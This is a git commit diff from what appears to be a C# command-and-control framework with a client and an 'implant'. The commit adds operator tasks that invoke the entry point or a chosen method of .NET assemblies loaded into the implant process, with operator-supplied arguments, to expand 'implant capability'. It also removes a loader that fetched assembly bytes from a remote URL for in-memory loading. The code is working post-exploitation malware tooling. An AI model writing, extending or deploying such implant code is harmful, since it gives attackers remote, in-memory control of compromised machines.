ExecuteAssemMethod works, das cool
This commit is contained in:
parent
4a01c852fe
commit
0620dd96e3
|
@ -7,6 +7,7 @@
|
|||
public static object assemName = new AssemName();
|
||||
public static object assemType = new AssemType();
|
||||
public static object assemMethod = new AssemMethod();
|
||||
public static object assemParams = new AssemParams();
|
||||
public static object retryCount = new Retry_count();
|
||||
public static object timeout = new Timeout();
|
||||
public static object command = new Command();
|
||||
|
@ -77,9 +78,16 @@
|
|||
public class AssemMethod {
|
||||
|
||||
public string Name { get; set; } = nameof(assemMethod);
|
||||
public string Value { get; set; } = "somemethod";
|
||||
public string Value { get; set; } = "";
|
||||
public string Desc { get; set; } = "select assembly method";
|
||||
}
|
||||
|
||||
|
||||
public class AssemParams
|
||||
{
|
||||
public string Name { get; set; } = nameof(assemParams);
|
||||
public string Value { get; set; } = "";
|
||||
public string Desc { get; set; } = "parameters to pass to loaded assembly";
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -28,12 +28,12 @@ namespace Client.Utils
|
|||
foreach (var opt in optList){
|
||||
if (opt.GetPropertyValue("Name").ToString().Equals(OptName, System.StringComparison.InvariantCultureIgnoreCase)) {
|
||||
opt.SetPropertyValue("Value", OptValue);
|
||||
break;
|
||||
return $"[*] {OptName} set to {OptValue}\n";
|
||||
}
|
||||
else { throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n"); }
|
||||
}
|
||||
|
||||
return $"[*] {OptName} set to {OptValue}\n";
|
||||
throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n");
|
||||
|
||||
} catch (AtlasException e ) { return $"{e.Message}"; }
|
||||
}
|
||||
}
|
||||
|
|
|
@ -7,7 +7,7 @@ namespace Client.Utils
|
|||
class ExecuteAssem : Models.Task
|
||||
{
|
||||
public override string TaskName => "ExecuteAssem";
|
||||
public override string Desc => "Execute a specifed assem type";
|
||||
public override List<object> OptList { get; } = new List<object> { assemType };
|
||||
public override string Desc => "Execute a specifed assem type from its entry point";
|
||||
public override List<object> OptList { get; } = new List<object> { assemName, assemParams };
|
||||
}
|
||||
}
|
||||
|
|
|
@ -9,6 +9,6 @@ namespace Client.Utils
|
|||
{
|
||||
public override string TaskName => "ExecuteAssemMethod";
|
||||
public override string Desc => "Executes specified method belonging to a loaded assem type";
|
||||
public override List<Object> OptList { get; } = new List<object> { assemType, assemMethod };
|
||||
public override List<Object> OptList { get; } = new List<object> { assemName, assemType, assemMethod, assemParams };
|
||||
}
|
||||
}
|
||||
|
|
|
@ -85,7 +85,6 @@
|
|||
<Compile Include="Tasks\Execute\PSShell.cs" />
|
||||
<Compile Include="Tasks\Options\AssemMethodQuery.cs" />
|
||||
<Compile Include="Tasks\Options\AssemQuery.cs" />
|
||||
<Compile Include="Tasks\Options\Cd.cs" />
|
||||
<Compile Include="Tasks\Options\CMDShell.cs" />
|
||||
<Compile Include="Tasks\Options\ExecuteAssem.cs" />
|
||||
<Compile Include="Tasks\Options\ExecuteAssemMethod.cs" />
|
||||
|
|
|
@ -1,8 +1,5 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Implant.JSON
|
||||
{
|
||||
|
|
|
@ -4,8 +4,10 @@
|
|||
{
|
||||
public static object command = new Command();
|
||||
public static object path = new Path();
|
||||
public static object assemName = new AssemName();
|
||||
public static object assemPath = new AssemPath();
|
||||
public static object assemType = new AssemType();
|
||||
public static object assemParams = new AssemParams();
|
||||
public static object assemMethod = new AssemMethod();
|
||||
|
||||
public class Command
|
||||
|
@ -26,6 +28,12 @@
|
|||
public string Value { get; set; } = "";
|
||||
}
|
||||
|
||||
public class AssemName
|
||||
{
|
||||
public string Name { get; set; } = "assemName";
|
||||
public string Value { get; set; } = "";
|
||||
}
|
||||
|
||||
public class AssemType
|
||||
{
|
||||
public string Name { get; set; } = "assemType";
|
||||
|
@ -38,5 +46,11 @@
|
|||
public string Value { get; set; } = "";
|
||||
}
|
||||
|
||||
public class AssemParams
|
||||
{
|
||||
public string Name { get; set; } = "assemParams";
|
||||
public string Value { get; set; } = "";
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -7,6 +7,7 @@ namespace Implant.Tasks.Execute
|
|||
class AssemMethodQuery : ImplantCommands
|
||||
{
|
||||
private string assemName { get; set; }
|
||||
private string Args { get; set; }
|
||||
|
||||
public override string Name => "AssemMethodQuery";
|
||||
|
||||
|
@ -15,7 +16,8 @@ namespace Implant.Tasks.Execute
|
|||
StringBuilder _out = new StringBuilder();
|
||||
|
||||
var opts = ImplantOptionUtils.ReturnMethod(task);
|
||||
var args = ImplantOptionUtils.ParseArgs(task.Args);
|
||||
Args = task.Args.Replace("\\", "");
|
||||
var args = ImplantOptionUtils.ParseArgs(Args);
|
||||
|
||||
foreach (var opt in opts)
|
||||
{
|
||||
|
|
|
@ -5,26 +5,33 @@ namespace Implant.Tasks.Execute
|
|||
{
|
||||
class ExecuteAssem : ImplantCommands
|
||||
{
|
||||
private string assemType { get; set; }
|
||||
|
||||
private string assemName { get; set; }
|
||||
private string assemParams { get; set; }
|
||||
private string Args { get; set; }
|
||||
public override string Name => "ExecuteAssem";
|
||||
public override string Execute(ImplantTask task)
|
||||
{
|
||||
var opts = ImplantOptionUtils.ReturnMethod(task);
|
||||
var args = ImplantOptionUtils.ParseArgs(task.Args);
|
||||
Args = task.Args.Replace("\\", "");
|
||||
var args = ImplantOptionUtils.ParseArgs(Args);
|
||||
|
||||
foreach (var opt in opts)
|
||||
{
|
||||
foreach (var _params in args.Params)
|
||||
{
|
||||
if ((_params.OptionName.ToLower() is "assemtype")
|
||||
if ((_params.OptionName.ToLower() is "assemname")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
|
||||
{
|
||||
assemType = _params.OptionValue;
|
||||
assemName = _params.OptionValue;
|
||||
}
|
||||
if ((_params.OptionName.ToLower() is "assemparams")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
|
||||
{
|
||||
assemParams = _params.OptionValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return assemType;
|
||||
return LoadFunctions.ExecuteAssemEP(assemName, assemParams);
|
||||
}
}
|
||||
}
|
||||
|
|
|
@ -5,32 +5,46 @@ namespace Implant.Tasks.Execute
|
|||
{
|
||||
class ExecuteAssemMethod : ImplantCommands
|
||||
{
|
||||
private string assemName { get; set; }
|
||||
private string assemType { get; set; }
|
||||
private string assemMethod { get; set; }
|
||||
private string assemParams { get; set; }
|
||||
private string Args { get; set; }
|
||||
|
||||
public override string Name => "ExecuteAssemMethod";
|
||||
|
||||
public override string Execute(ImplantTask task)
|
||||
{
|
||||
var opts = ImplantOptionUtils.ReturnMethod(task);
|
||||
var args = ImplantOptionUtils.ParseArgs(task.Args);
|
||||
Args = task.Args.Replace("\\", "");
|
||||
var args = ImplantOptionUtils.ParseArgs(Args);
|
||||
|
||||
foreach (var opt in opts)
|
||||
{
|
||||
foreach (var _params in args.Params)
|
||||
{
|
||||
if ((_params.OptionName.ToLower() is "assemname")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
|
||||
assemName = _params.OptionValue;
|
||||
}
|
||||
if ((_params.OptionName.ToLower() is "assemtype")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
|
||||
assemType = _params.OptionValue;
|
||||
}
|
||||
if ((_params.OptionName.ToLower() is "assemmethod")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
|
||||
{
|
||||
assemMethod = _params.OptionValue;
|
||||
}
|
||||
if ((_params.OptionName.ToLower() is "assemparams")
|
||||
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
|
||||
{
|
||||
assemParams = _params.OptionValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return assemType;
|
||||
return LoadFunctions.ExecuteAssemMethod(assemName, assemType, assemMethod, assemParams);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -16,16 +16,33 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
// would be cool if these could be called from a yaml or something
|
||||
|
||||
// load assems into running process for expansion of implant capability
|
||||
// create task to list loaded assems(see utils ) and their methods for operator viewing and allow operator to pass assem + method into
|
||||
// load assems into running process for expansion of implant capability (done)
|
||||
// create task to list loaded assems(see utils) and their methods for operator viewing (done) and allow operator to pass assem + method into
|
||||
// task to execute given method from assem
|
||||
|
||||
|
||||
public static string ExecuteAssemMethod(Assembly assem, string assemType, string assemMethod){
|
||||
var _out = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, null);
|
||||
return _out.ToString();
|
||||
private static Assembly GetAssemblyByName(string assemName){
|
||||
return AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(assem => assem.GetName().Name == assemName);
|
||||
}
|
||||
|
||||
|
||||
public static string ExecuteAssemEP(string assemName, string parameters){
|
||||
Assembly assem = GetAssemblyByName(assemName);
|
||||
var assemOut = assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } });
|
||||
return assemOut.ToString();
|
||||
}
|
||||
|
||||
public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string parameters){
|
||||
Assembly assem = GetAssemblyByName(assemName);
|
||||
var assemOut = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, new object[] { parameters });
|
||||
return assemOut.ToString();
|
||||
}
|
||||
|
||||
public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string[] parameters)
|
||||
{
|
||||
Assembly assem = GetAssemblyByName(assemName);
|
||||
var assemOut = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, new object[] { parameters });
|
||||
return assemOut.ToString();
|
||||
}
|
||||
|
||||
public static Assembly LoadAssem(string assemPath) {
|
||||
var assem = Assembly.LoadFrom(assemPath);
|
||||
return assem;
|
||||
|
@ -36,70 +53,12 @@ namespace Implant.Tasks.Execute
|
|||
return assem;
|
||||
}
|
||||
|
||||
public static void LoadAssemAndExecute(string assemPath)
|
||||
{
|
||||
var assem = LoadAssem(assemPath);
|
||||
object[] paramz = new String[] { null };
|
||||
assem.EntryPoint.Invoke(null, paramz);
|
||||
}
|
||||
|
||||
// load an assem into current appdomain
|
||||
public static string BaseLoaderLocal(string assemPath){
|
||||
StringBuilder _out = new StringBuilder();
|
||||
var assem = LoadAssem(assemPath);
|
||||
|
||||
_out.Append(ExecuteAssemMethod(assem, "", ""));
|
||||
|
||||
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
|
||||
|
||||
return _out.ToString();
|
||||
}
|
||||
|
||||
// attempt to load assem into mem and retry if fails
|
||||
public static byte[] SmraaterLoader(string assemPath, int retry_count, int timeout)
|
||||
{
|
||||
|
||||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||||
WebClient client = new WebClient();
|
||||
byte[] assembytes = null;
|
||||
int current_retry_count = retry_count;
|
||||
|
||||
while (current_retry_count >= 0 && assembytes == null)
|
||||
{
|
||||
try
|
||||
{
|
||||
assembytes = client.DownloadData(assemPath);
|
||||
if (Debug) { WriteLine($"[+] Fetched assem located at {assemPath}"); }
|
||||
}
|
||||
catch (WebException)
|
||||
{
|
||||
if (current_retry_count == 0) { throw new ArgumentException($"[-] Failed to fetch {assemPath} after {current_retry_count} attempts. Exiting..."); }
|
||||
|
||||
if (Debug) { WriteLine($"[-] Fetching {assemPath} failed. Retrying in {timeout} seconds."); }
|
||||
current_retry_count = current_retry_count - 1;
|
||||
Thread.Sleep(timeout * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
return assembytes;
|
||||
|
||||
/*
|
||||
var assem = Assembly.Load(assembytes);
|
||||
object[] paramz = new String[] { null };
|
||||
assem.EntryPoint.Invoke(null, paramz);
|
||||
*/
|
||||
|
||||
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
|
||||
}
|
||||
|
||||
|
||||
// these are tasks, move them over when working on load task
|
||||
public static string returnAssemMethods(string assemName)
|
||||
{
|
||||
StringBuilder _out = new StringBuilder();
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
|
||||
_out.AppendLine($"[*] Current AppDomain: {domain}");
|
||||
_out.AppendLine($"[*] Current AppDomain: {domain.FriendlyName}");
|
||||
_out.AppendLine($"[*] assemName: {assemName}");
|
||||
|
||||
var strLenth = _out.Length;
|
||||
|
@ -116,7 +75,7 @@ namespace Implant.Tasks.Execute
|
|||
}
|
||||
}
|
||||
|
||||
if(_out.Length > strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); }
|
||||
if(_out.Length < strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); }
|
||||
|
||||
return _out.ToString();
|
||||
}
|
||||
|
|
|
@ -10,6 +10,6 @@ namespace Implant.Tasks.Options
|
|||
{
|
||||
public override string TaskName => "AssemMethodQuery";
|
||||
|
||||
public override List<object> Data => new List<object> { assemType, assemMethod};
|
||||
public override List<object> Data => new List<object> { assemName };
|
||||
}
|
||||
}
|
||||
|
|
|
@ -10,6 +10,6 @@ namespace Implant.Tasks.Options
|
|||
{
|
||||
public override string TaskName => "AssemQuery";
|
||||
|
||||
public override List<object> Data => new List<object> { assemType };
|
||||
public override List<object> Data => new List<object> { };
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,14 +0,0 @@
|
|||
using System.Collections.Generic;
|
||||
|
||||
using Implant.Models;
|
||||
|
||||
using static Implant.Models.ImplantTaskOptions;
|
||||
|
||||
namespace Implant.Tasks.Options
|
||||
{
|
||||
class Cd : ImplantOptions
|
||||
{
|
||||
public override string TaskName => "Cd";
|
||||
public override List<object> Data => new List<object> { path };
|
||||
}
|
||||
}
|
|
@ -9,5 +9,5 @@ namespace Implant.Tasks.Options
|
|||
class ExecuteAssem : ImplantOptions
|
||||
{
|
||||
public override string TaskName => "ExecuteAssem";
|
||||
public override List<object> Data => new List<object> { assemType };
}
|
||||
public override List<object> Data => new List<object> { assemName, assemParams };
}
|
||||
}
|
||||
|
|
|
@ -8,5 +8,5 @@ namespace Implant.Tasks.Options
|
|||
{
|
||||
class ExecuteAssemMethod : ImplantOptions
|
||||
{
|
||||
public override string TaskName => "ExecuteAssemMethod";
public override List<object> Data => new List<object> { assemType, assemMethod };
}
|
||||
public override string TaskName => "ExecuteAssemMethod";
public override List<object> Data => new List<object> { assemName, assemType, assemMethod, assemParams };
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue